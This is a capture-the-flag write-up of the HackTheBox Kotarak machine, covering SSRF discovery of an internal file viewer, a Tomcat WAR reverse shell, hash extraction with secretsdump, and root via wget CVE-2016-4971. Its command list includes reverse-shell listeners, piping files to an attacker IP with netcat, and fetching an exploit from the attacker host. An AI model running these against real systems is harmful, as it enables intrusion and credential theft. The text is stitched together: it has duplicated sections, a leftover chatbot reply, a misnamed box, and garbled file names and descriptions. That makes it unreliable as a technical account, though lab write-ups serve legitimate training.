In this post, we demonstrated how to exploit SSRF to discover internal hidden services. We performed privilege escalation using Wget exploit CVE-2016-4971. We used lab material from HackTheBox Kotarak.
SSRF or server side request forgery is a vulnerability that allows an attacker to control and manipulate URL parameters to access internal resources or discover hidden services.
Wget Exploit CVE-2016-4971
The exploit works when the [wget] version is before [1.18].
Create a [.wgetrc] config file on your machine and type in the below content.
Create and host the config file with an FTP server using python.
Start a listener on your machine.
Transfer the exploit to the target machine and run it
Initial Reconnaissance: What’s Running on This Thing?
My first step, as always, was to run an Nmap scan to see what services were running on the target machine. The scan revealed a few open ports, but the most interesting ones were:
- Port 60000: An Apache web server that turned out to be vulnerable to SSRF.
- Port 8080: A Tomcat server.
Exploiting the SSRF Vulnerability
When I browsed to port 60000, I found a simple page that claimed to let you browse anonymously. The URL had a path parameter, which immediately caught my eye as a potential SSRF vulnerability.
To confirm this, I used Burp Suite’s Intruder to see if I could access internal services. I set up Intruder to iterate through all the ports on the local machine (127.0.0.1) and, sure enough, I found a “simple file viewer” running on port 8888. This service was only accessible from the machine itself, so I couldn’t get to it directly.
By crafting a special URL, I was able to use the SSRF vulnerability on port 60000 to access the internal file viewer. I then used this to view a backup file, and what do you know? It contained hardcoded credentials for the Tomcat server: admin and password.
Getting a Shell: Tomcat to the Rescue!
With the Tomcat credentials in hand, I logged into the administration panel on port 8080. From there, I used msfvenom to generate a Java reverse shell payload, which I then uploaded and deployed as a .war file.
I set up a Netcat listener on my machine, triggered the payload, and boom! I had my first shell.
Of course! Here is a detailed summary of the video, as requested.
Hacking a Box: A Tale of SSRF and Privilege Escalation 🕵️♂️
I’m going to walk you through how I tackled the “HTTP Code Rack” machine from Hack The Box. This was a really fun one that involved a Server-Side Request Forgery (SSRF) vulnerability, which I then used to gain a foothold and eventually get root access. Let’s dive in!
Initial Reconnaissance: What’s Running on This Thing?
My first step, as always, was to run an Nmap scan to see what services were running on the target machine. The scan revealed a few open ports, but the most interesting ones were:
- Port 60000: An Apache web server that turned out to be vulnerable to SSRF.
- Port 8080: A Tomcat server.
The Fun Begins: Exploiting the SSRF Vulnerability
When I browsed to port 60000, I found a simple page that claimed to let you browse anonymously. The URL had a path parameter, which immediately caught my eye as a potential SSRF vulnerability.
To confirm this, I used Burp Suite’s Intruder to see if I could access internal services. I set up Intruder to iterate through all the ports on the local machine (127.0.0.1) and, sure enough, I found a “simple file viewer” running on port 8888. This service was only accessible from the machine itself, so I couldn’t get to it directly.
By crafting a special URL, I was able to use the SSRF vulnerability on port 60000 to access the internal file viewer. I then used this to view a backup file, and what do you know? It contained hardcoded credentials for the Tomcat server: admin and password.
Getting a Shell: Tomcat to the Rescue!
With the Tomcat credentials in hand, I logged into the administration panel on port 8080. From there, I used msfvenom to generate a Java reverse shell payload, which I then uploaded and deployed as a .war file.
I set up a Netcat listener on my machine, triggered the payload, and boom! I had my first shell.
Leveling Up: From User to Root
Now for the real challenge: privilege escalation. I started poking around in the tomcat directory and found a couple of interesting files: ps_exec_entities.dit and ps_exec_entities.bin. These looked like Microsoft Windows Registry files, which often contain Active Directory credentials.
I transferred the files to my machine using Netcat and then used a tool called secretsdump.py from the Impacket library to extract the NTLM hashes. I then used an online tool called CrackStation to crack the hashes, which gave me the passwords for the administrator and atonas users.
I used the password for atonas to switch to that user, which was a step up from the Tomcat user.
The Final Step: Root Access via a Wget Vulnerability
Here’s where things got really interesting. I noticed that the /root directory was accessible to the atonas user, which is highly unusual. Inside, I found an application.log file that showed repeated attempts to download a file called archive.tar.gz using wget version 1.16.
A quick search revealed that this version of wget is vulnerable to an arbitrary file upload and code execution vulnerability. I was able to exploit this by setting up a web server on my machine that would redirect the vulnerable wget to an FTP server that I controlled.
This FTP server then served a malicious wgetrc file, which instructed wget to download a bash reverse shell script and save it to /etc/cron.d/wk_root_shell. A cron job then executed the script, which connected back to another Netcat listener on my machine, giving me a root shell!
Technical Commands Used:
Here are the commands I used throughout this process:
- Nmap Scan:
nmap -sC -sV -p- <target_ip> - Accessing Internal Resources (Attempt):
file:///etc/passwd - Netcat Listener (First Shell):
nc -lvp 4545 - Stabilizing the Shell:
python -c 'import pty; pty.spawn("/bin/bash")' - Listing Directory Contents:
ls -la - Changing Directory:
cd <directory> - Identifying File Nature:
file * - Netcat Listener for File Transfer:
nc -lvp 4546 > <output_file> - Sending File via Netcat:
cat <file_name> | nc <your_ip_address> <port> - Extracting Credentials with SecretDump:
secretsdump.py -system <bin_file> -ntds <dit_file> LOCAL - Switching User:
su atonas - Reading Application Log:
cat app.log - Checking Cron Jobs:
cat /etc/crontab - Editing Exploit File:
nano exploit.py - Running FTP Server (Python):
python -m pyftpdlib - Starting Listener for Root Access:
nc -lvp 4547 - Downloading Exploit File:
wget http://<your_ip_address>/exploit.py - Granting Execute Permissions:
chmod +x exploit.py - Running Exploit with Port Bind:
python exploit.py - Getting Root ID:
id
Video WalkThrough
